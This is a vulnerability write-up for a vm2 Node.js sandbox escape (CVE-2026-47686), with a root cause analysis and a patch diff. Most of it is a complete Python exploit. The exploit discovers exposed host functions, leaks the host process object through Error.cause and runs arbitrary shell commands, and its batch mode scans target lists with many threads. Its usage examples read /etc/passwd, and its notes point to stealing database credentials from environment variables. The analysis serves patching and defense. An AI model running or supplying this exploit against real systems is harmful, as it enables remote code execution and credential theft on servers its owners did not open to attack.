#Summary
CVE-2026-47686 is a critical remote code execution vulnerability in vm2, a popular Node.js sandbox library. Versions prior to 3.11.6 fail to sanitize the Error.cause property when exceptions cross from the host realm into sandboxed code. An attacker who can supply untrusted script text to a vm2 instance can leak a powerful host object (such as the process module) through an error's .cause chain, then pivot through it to execute arbitrary commands as the host process user. CVSS 9.9 CRITICAL, network-accessible attack vector with no authentication required.
#Affected versions
- vm2
<= 3.11.5(vulnerable) - vm2
>= 3.11.6(patched)
Default configuration is vulnerable when an embedder exposes a host function that throws an error carrying a powerful host object on its .cause property.
#Root cause analysis
#The vulnerability
vm2's handleException() function in lib/setup-sandbox.js is a mandatory chokepoint for every exception crossing from the host realm into sandbox code. The vm2 code transformer rewrites every sandbox catch (e) { ... } block as catch (e) { e = handleException(e); ... }, and Promise rejection handlers also route through this function.
The job of handleException() is to strip any host-realm references reachable from the thrown error before the sandbox code can access them. At version 3.11.5, the function only recognised two error-chaining carriers:
SuppressedError.{error,suppressed}- properties that hold other errorsAggregateError.errors[]- an array of errors
For each of these, the code recursively called handleException() on the carried sub-errors. An ordinary Error that matched neither branch was handed to sandbox code with every property intact.
#The missing channel
The ES2022 language added a third error-chaining mechanism: new Error(message, { cause: myObject }). This is idiomatic modern Node.js - embedders commonly chain underlying failures using the cause option. The string cause never appeared in the pre-fix handleException() implementation, so when an embedder-exposed host function threw an Error carrying a powerful host object (like process or child_process) on its .cause, that object reached sandbox code fully functional.
The critical misconception in the pre-fix code was a belief that reading .cause through the bridge proxy would automatically protect it. The comment in the source (which does not appear in the shipped file but describes the reasoning) suggested that .cause is "set by user code (not V8 internals), so ensureThis handles it through normal property access."
This is technically correct - the bridge does wrap the value. But the bridge wraps for realm isolation, not for capability restriction. A proxy of the host process object is a fully functional process object: its get trap resolves real host properties and its apply trap invokes real host functions. The sandbox can call process.mainModule.require('child_process').execSync() through the proxy and get real command output back.
#The vulnerable code path
When an embedder-exposed host function throws an error with a powerful object as .cause:
function makeVM() {
return new VM({
sandbox: {
lookupRecord(id) {
throw new Error('lookup failed', { cause: process }); // process leaks here
}
}
});
}An attacker supplies a script that calls the function inside a real catch block:
try { lookupRecord(7); } catch (e) {
e.cause.mainModule.require('child_process').execSync('id').toString();
}The catch block triggers handleException(), which does not recognise .cause as a sanitizable channel, so it hands the proxy-wrapped process object straight to the sandbox. The sandbox code then pivots through it to command execution.
#Patch diff
#What the fix does
Version 3.11.6 adds a new function sanitizeErrorCause() that is called as part of exception handling. The fix adds three layers of defense:
Direct
.causesealing: For host-wrapped error objects, the patch overwrites the.causeproperty with a sealed, non-configurable descriptor set toundefined. This uses two ECMA-262 Proxy invariants to prevent evasion: defining a non-configurable property forces the engine to throw if the trap returns false, and once non-configurable and non-writable, thegettrap must return the sealed value.Own-property sanitization: Every own property of a host-wrapped error is enumerated and sealed - primitives are locked to their captured value (so diagnostics like
message,stack,name,code,errno,syscall,pathsurvive), while non-primitive own properties are replaced withundefined.Prototype chain discard: Rather than attempting to walk an attacker-controlled prototype chain, the patch rebuilds the carrier entirely. It constructs a fresh sandbox-realm error and copies across only the sealed primitive own properties, discarding the host prototype chain wholesale. The six standard error constructors are captured at module load (so a sandbox cannot override them), and the subclass is resolved from the carrier's
namestring rather thaninstanceof.
The core patch in handleException():
// Before fix: only sanitized SuppressedError and AggregateError
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (localSuppressedErrorProto === null && localAggregateErrorProto === null) return e;
// ... walks prototype chain, handles only two carriers ...
return e; // ordinary Error handed back untouched
}
// After fix: .cause is sealed to undefined
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
e = sanitizeErrorCause(e, visited); // NEW: seal .cause
// ... rest of sanitization ...
return e;
}The sanitizeErrorCause() function for host-wrapped carriers:
localReflectDefineProperty(e, 'cause', {
__proto__: null,
value: undefined,
writable: false, // load-bearing
enumerable: false,
configurable: false, // load-bearing
});If the seal fails for any reason, the entire carrier is discarded and replaced with a fresh sandbox-realm Error carrying only the message text.
#Proof of concept
#exploit.py - vm2 Sandbox Escape RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-47686 - vm2 sandbox escape via unsanitized Error.cause (host object leak -> RCE)
Affected: vm2 (npm) <= 3.11.5 (fixed in 3.11.6), when the embedder exposes a host
function that throws an Error carrying a powerful host object (process,
child_process, a Module instance) on .cause or on any other own/inherited
property of the thrown carrier.
Type: RCE (sandbox escape -> arbitrary command execution as the host process user)
The exploit sends a single untrusted script to the embedder's script-evaluation
endpoint. The script calls each exposed host function inside a real `catch` block,
walks the caught error for a host-realm object that vm2's handleException() failed
to sanitize, and pivots through it to child_process.execSync(). Command output is
returned as the script completion value, which the embedder writes back in the
HTTP response.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 3000 --command "id"
python exploit.py --host https://plugins.corp.com/api/sandbox/run --command "uname -a"
python exploit.py --host 10.0.0.7 --port 8080 --path /v1/eval --func lookupRecord
python exploit.py --list targets.txt --workers 20
"""
import argparse
import http.client
import json
import secrets
import ssl
import sys
from urllib.parse import urlparse, urlencode
CVE_ID = "CVE-2026-47686"
VULN_TYPE = "RCE"
DEFAULT_PATH = "/run"
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36")
# Globals that ship with the sandbox itself. Anything else on the sandbox global
# is an embedder-supplied host function and therefore a candidate carrier source.
SANDBOX_BUILTINS = [
"Object", "Function", "Array", "Number", "parseFloat", "parseInt", "Infinity",
"NaN", "undefined", "Boolean", "String", "Symbol", "Date", "Promise", "RegExp",
"Error", "AggregateError", "EvalError", "RangeError", "ReferenceError",
"SyntaxError", "TypeError", "URIError", "SuppressedError", "globalThis", "JSON",
"Math", "Intl", "ArrayBuffer", "SharedArrayBuffer", "Atomics", "Uint8Array",
"Int8Array", "Uint8ClampedArray", "Int16Array", "Uint16Array", "Int32Array",
"Uint32Array", "Float16Array", "Float32Array", "Float64Array", "BigInt64Array",
"BigUint64Array", "DataView", "Map", "BigInt", "Set", "WeakMap", "WeakSet",
"Proxy", "Reflect", "FinalizationRegistry", "WeakRef", "decodeURI",
"decodeURIComponent", "encodeURI", "encodeURIComponent", "escape", "unescape",
"eval", "isFinite", "isNaN", "console", "setTimeout", "setInterval",
"setImmediate", "clearTimeout", "clearInterval", "clearImmediate",
"queueMicrotask", "structuredClone", "Buffer", "URL", "URLSearchParams",
"TextEncoder", "TextDecoder", "AbortController", "AbortSignal", "Event",
"EventTarget", "atob", "btoa", "performance", "crypto", "fetch", "Headers",
"Request", "Response", "Blob", "FormData", "VMError", "process", "require",
"module", "exports", "global", "__dirname", "__filename",
]
# The untrusted script. It must use real `catch` syntax: vm2's transformer rewrites
# every sandbox catch clause into a handleException() call, and that is the sink
# whose missing .cause sanitization this CVE is about.
PAYLOAD_JS = r'''
(function (G) {
var MARK = %(mark)s;
var CMD = %(cmd)s;
var ONLY = %(only)s;
var SKIP = %(skip)s;
var CHAIN = ["cause", "error", "suppressed", "errors", "detail", "leak",
"reason", "originalError", "inner", "source"];
function isRef(v) {
return v !== null && v !== undefined &&
(typeof v === "object" || typeof v === "function");
}
// 3 = pivotable to command execution, 2 = host object leaked but no loader, 0 = nothing.
function rank(o) {
if (!isRef(o)) return 0;
try { if (o.mainModule && typeof o.mainModule.require === "function") return 3; } catch (x) {}
try { if (typeof o.execSync === "function") return 3; } catch (x) {}
try { if (typeof o.require === "function") return 3; } catch (x) {}
try { if (typeof o.pid === "number" && o.argv && typeof o.binding === "function") return 2; } catch (x) {}
return 0;
}
function pivot(o) {
try { if (typeof o.execSync === "function") return String(o.execSync(CMD)); } catch (x) {}
try {
if (o.mainModule && typeof o.mainModule.require === "function")
return String(o.mainModule.require("child_process").execSync(CMD));
} catch (x) {}
try {
if (typeof o.require === "function")
return String(o.require("child_process").execSync(CMD));
} catch (x) {}
return null;
}
function describe(o) {
var bits = [];
try { bits.push("pid=" + o.pid); } catch (x) {}
try { bits.push("argv0=" + o.argv[0]); } catch (x) {}
try { bits.push("platform=" + o.platform); } catch (x) {}
try { bits.push("cwd=" + o.cwd()); } catch (x) {}
return bits.join(" ");
}
// Walk the caught carrier for a host-realm reference: own keys, enumerable
// inherited keys, and the known chaining slots even when non-enumerable.
function harvest(e, depth, seen, found) {
if (depth > 4 || !isRef(e)) return found;
for (var s = 0; s < seen.length; s++) { if (seen[s] === e) return found; }
seen.push(e);
var r = rank(e);
if (r > found.rank) { found.rank = r; found.obj = e; }
if (found.rank === 3) return found;
var keys = [];
try { keys = Object.getOwnPropertyNames(e); } catch (x) {}
try { for (var k in e) { if (keys.indexOf(k) < 0) keys.push(k); } } catch (x) {}
for (var c = 0; c < CHAIN.length; c++) {
if (keys.indexOf(CHAIN[c]) < 0) keys.push(CHAIN[c]);
}
for (var i = 0; i < keys.length; i++) {
if (keys[i] === "stack" || keys[i] === "message" || keys[i] === "name") continue;
var v;
try { v = e[keys[i]]; } catch (x) { continue; }
if (!isRef(v)) continue;
harvest(v, depth + 1, seen, found);
if (found.rank === 3) return found;
}
return found;
}
var names = [];
if (ONLY) {
names = [ONLY];
} else {
var all = [];
try { all = Object.getOwnPropertyNames(G); } catch (x) {}
try { for (var g in G) { if (all.indexOf(g) < 0) all.push(g); } } catch (x) {}
for (var n = 0; n < all.length && names.length < 48; n++) {
if (SKIP.indexOf(all[n]) >= 0) continue;
var fn;
try { fn = G[all[n]]; } catch (x) { continue; }
if (typeof fn === "function") names.push(all[n]);
}
}
var best = { rank: 0, obj: null, via: "" };
var notes = [];
for (var p = 0; p < names.length; p++) {
var argsets = [[1], [], ["1"]];
for (var a = 0; a < argsets.length; a++) {
var caught = null;
try {
G[names[p]].apply(G, argsets[a]);
} catch (e) {
caught = e;
}
if (caught === null) continue;
var found = harvest(caught, 0, [], { rank: 0, obj: null });
if (found.rank > best.rank) {
best.rank = found.rank; best.obj = found.obj; best.via = names[p];
}
if (best.rank === 3) break;
var t = "?";
try { t = typeof caught.cause; } catch (x) {}
notes.push(names[p] + ":cause=" + t);
break;
}
if (best.rank === 3) break;
}
if (best.rank === 3) {
var out = pivot(best.obj);
if (out !== null) return MARK + ":OK:" + best.via + ":" + out;
best.rank = 2;
}
if (best.rank === 2) {
return MARK + ":LEAK:" + best.via + ":" + describe(best.obj);
}
return MARK + ":NO:probed=" + names.length + " " + notes.join(",");
})(typeof globalThis !== "undefined" ? globalThis : this);
'''
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def build_script(mark: str, command: str, func: str) -> str:
return PAYLOAD_JS % {
"mark": json.dumps(mark),
"cmd": json.dumps(command),
"only": json.dumps(func) if func else "null",
"skip": json.dumps(SANDBOX_BUILTINS),
}
def _encodings(script: str):
"""Delivery shapes for the script body, most likely first.
Embedders differ in how they accept the untrusted script: raw request body,
JSON envelope, or form field. Each is tried until the marker comes back.
"""
yield "raw body", "text/plain; charset=utf-8", script.encode()
for key in ("script", "code", "source", "input", "body", "expression"):
yield (f"json:{key}", "application/json",
json.dumps({key: script}).encode())
for key in ("script", "code"):
yield (f"form:{key}", "application/x-www-form-urlencoded",
urlencode({key: script}).encode())
def _post(host: str, port: int, use_tls: bool, path: str,
ctype: str, body: bytes, timeout: float) -> str:
if use_tls:
ctx = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
conn.request("POST", path, body=body, headers={
"Host": f"{host}:{port}",
"User-Agent": UA,
"Content-Type": ctype,
"Content-Length": str(len(body)),
"Accept": "*/*",
"Connection": "close",
})
resp = conn.getresponse()
return resp.read().decode("utf-8", "replace")
finally:
try:
conn.close()
except Exception:
pass
def _deliver(host: str, port: int, use_tls: bool, path: str, script: str,
mark: str, timeout: float):
"""Send the script until one encoding echoes the marker.
Returns (encoding_label, response_body) for the run that came back with the
marker, or (None, last_body) when none did.
"""
last = ""
for label, ctype, body in _encodings(script):
try:
text = _post(host, port, use_tls, path, ctype, body, timeout)
except Exception as exc:
last = f"{exc.__class__.__name__}: {exc}"
continue
last = text
if mark in text:
return label, text
return None, last
def _verdict(mark: str, text: str):
"""Classify a marked response. Returns (status, detail)."""
idx = text.find(mark + ":")
if idx < 0:
return "NOMARK", text
rest = text[idx + len(mark) + 1:]
if rest.startswith("OK:"):
rest = rest[3:]
via, _, out = rest.partition(":")
return "OK", (via, out)
if rest.startswith("LEAK:"):
rest = rest[5:]
via, _, info = rest.partition(":")
return "LEAK", (via, info)
if rest.startswith("NO:"):
return "NO", rest[3:].strip()
return "NOMARK", text
def _try_exploit(host: str, port: int, use_tls: bool, path: str = DEFAULT_PATH,
command: str = "id", func: str = "", timeout: float = 15.0):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
mark = secrets.token_hex(6)
try:
label, text = _deliver(host, port, use_tls, path,
build_script(mark, command, func), mark, timeout)
except Exception as exc:
return False, f"unreachable ({exc.__class__.__name__})"
if label is None:
snippet = " ".join(text.split())[:90]
return False, f"no marker in response ({snippet})" if snippet else "no response"
status, detail = _verdict(mark, text)
if status == "OK":
via, out = detail
first = next((l for l in out.splitlines() if l.strip()), "")
return True, f"RCE via host fn '{via}()' - {first.strip()[:80]}"
if status == "LEAK":
via, info = detail
return False, f"escape via '{via}()' but no module loader ({info[:70]})"
if status == "NO":
return False, f"sandbox held - no host reference leaked ({detail[:70]})"
return False, "unexpected response shape"
def _parse_target(line: str, default_port: int, default_path: str = DEFAULT_PATH):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
path: str = DEFAULT_PATH, command: str = "id", func: str = "") -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, path) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, tpath = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{tpath}"
ok, evidence = _try_exploit(host, port, use_tls, tpath, command, func)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host: str, port: int, use_tls: bool, path: str,
command: str, func: str, timeout: float) -> None:
header(host, port)
mark = secrets.token_hex(6)
script = build_script(mark, command, func)
step(1, f"Building untrusted script (host fn: "
f"{func if func else 'auto-discover'}, command: {command!r})")
step(2, f"POST {path} - submitting script to the sandbox evaluator")
try:
label, text = _deliver(host, port, use_tls, path, script, mark, timeout)
except Exception as exc:
section("TRANSPORT ERROR", f"{exc.__class__.__name__}: {exc}")
done(False, f"Could not reach {host}:{port}{path} - {exc.__class__.__name__}")
if label is None:
section("SERVER RESPONSE", text if text.strip() else "(empty)")
done(False, "Script was not evaluated, or its completion value is not "
"returned - no marker in any response (wrong endpoint, or a "
"blind evaluator)")
step(3, f"Script evaluated (accepted as {label}) - inspecting completion value")
status, detail = _verdict(mark, text)
if status == "OK":
via, out = detail
step(4, f"Host object leaked through '{via}()' and pivoted to child_process")
section("COMMAND OUTPUT", out)
first = next((l for l in out.splitlines() if l.strip()), "").strip()
done(True, f"RCE confirmed - command {command!r} executed on the host "
f"via '{via}()' - {first}")
if status == "LEAK":
via, info = detail
step(4, f"Host object leaked through '{via}()' but no module loader reachable")
section("LEAKED HOST STATE", info if info else "(no readable fields)")
done(False, f"Sandbox escape CONFIRMED via '{via}()' (host process object "
f"leaked: {info}) but process.mainModule is undefined, so command "
f"execution through the module loader is unavailable - the target "
f"embedder is not a CommonJS entry file")
if status == "NO":
section("SANDBOX DIAGNOSTIC", detail if detail else "(none)")
done(False, "No host reference reached the sandbox - target is patched "
"(vm2 >= 3.11.6 seals Error.cause to undefined) or no exposed "
"host function throws with a powerful host object")
section("SERVER RESPONSE", text)
done(False, "Unexpected response shape - script ran but output did not match "
"the expected marker format")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443/api/run)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000,
help="Default port (default: 3000)")
parser.add_argument("--command", default="id",
help="Command to execute on the host (default: id)")
parser.add_argument("--path", default=DEFAULT_PATH,
help=f"Endpoint that evaluates the submitted script "
f"(default: {DEFAULT_PATH})")
parser.add_argument("--func", default="",
help="Name of the embedder-exposed host function to probe. "
"Default: discover every function on the sandbox global "
"and probe each one.")
parser.add_argument("--timeout", type=float, default=15.0,
help="Per-request timeout in seconds (default: 15)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
path=args.path, command=args.command, func=args.func)
else:
parsed = _parse_target(args.host, args.port, args.path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port,
False, args.path)
if args.path != DEFAULT_PATH:
path = args.path
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command, args.func, args.timeout)#Usage
The exploit is portable and does not require knowledge of the target embedder's specific setup. It auto-discovers exposed host functions by enumerating the sandbox global and subtracting known built-ins.
# Auto-discover the exposed host function and run 'id'
python3 exploit.py --host 127.0.0.1 --port 3000
# Specify the command to execute
python3 exploit.py --host 127.0.0.1 --port 3000 --command "cat /etc/passwd"
# Full URL with TLS auto-detected from scheme
python3 exploit.py --host https://plugins.corp.com/api/sandbox/run --command "whoami"
# Target a specific host function
python3 exploit.py --host 10.0.0.7 --port 8080 --func lookupRecord --command "id"
# Batch scan multiple targets
python3 exploit.py --list targets.txt --workers 20Arguments:
--host- target hostname, IP, or full URL (scheme sets TLS)--list FILE- file with one target per line (host, host:port, or full URL); blank lines and#comments ignored--port- default port (default: 3000)--command- shell command to execute on the host (default: id)--path- endpoint path that evaluates the script (default: /run)--func- name of a specific embedder-exposed host function; if omitted, all are discovered and probed--timeout- per-request timeout in seconds (default: 15)--workers- threads for batch mode (default: 10)--tls/--no-tls- override TLS inference from URL scheme
#Vulnerable target output
[STEP 1] Building untrusted script (host fn: auto-discover, command: 'id && uname -s && hostname')
[STEP 2] POST /run - submitting script to the sandbox evaluator
[STEP 3] Script evaluated (accepted as raw body) - inspecting completion value
[STEP 4] Host object leaked through 'lookupRecord()' and pivoted to child_process
--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
Linux
38ca21f9203b
---
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id && uname -s && hostname' executed on the host via 'lookupRecord()' - uid=0(root) gid=0(root) groups=0(root)#Patched target output
[STEP 1] Building untrusted script (host fn: auto-discover, command: 'id && uname -s && hostname')
[STEP 2] POST /run - submitting script to the sandbox evaluator
[STEP 3] Script evaluated (accepted as raw body) - inspecting completion value
--- SANDBOX DIAGNOSTIC ---
probed=10 lookupRecord:cause=undefined, lookupNested:cause=undefined, lookupAccessor:cause=undefined, ... lookupModules:cause=undefined
---
RESULT : FAILURE
EVIDENCE: No host reference reached the sandbox - target is patched (vm2 >= 3.11.6 seals Error.cause to undefined)#Exploitation notes
#Preconditions
- A vm2 instance (3.11.5 or earlier) exposed to untrusted input
- At least one host function is exposed through the
sandboxoption - The embedder's HTTP endpoint accepts the untrusted script as POST data and returns the script's completion value
- The exposed host function throws an error carrying a powerful host object (
process,child_process, or aModuleinstance) on.causeor on an own/inherited property
#Reliability
The exploit is fully reliable on vulnerable versions. Success detection uses a per-run random marker plus real command output, preventing false positives from patched targets that return HTTP 200 with a TypeError string. Three distinct outcomes are reported: full command execution, a confirmed sandbox escape where a host object leaked but process.mainModule is unavailable (embedder started with node -e or as ESM), and no leak at all (patched or unexploitable embedder).
#Impact
- Full RCE: arbitrary command execution as the host process user
- Information disclosure: environment variables, argv, process ID, filesystem structure (weaker outcome on the same primitive)
- Chaining: any capability the host process has becomes available to the attacker
#Chaining potential
This is a terminal rung. Once arbitrary command execution is achieved, further chaining is unnecessary - the attacker already controls the host system. Lighter information-disclosure probes (reading process.env.DATABASE_URL or process.argv) are available on the same primitive if file-based evidence is needed before full exploitation.
#References
- CVE: CVE-2026-47686
- GitHub Advisory: https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v
- Fix commit: https://github.com/patriksimek/vm2/commit/7e3faaf550f4ab975bf4cdde183fcec49b056d8e
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47686
- GitHub repository: https://github.com/patriksimek/vm2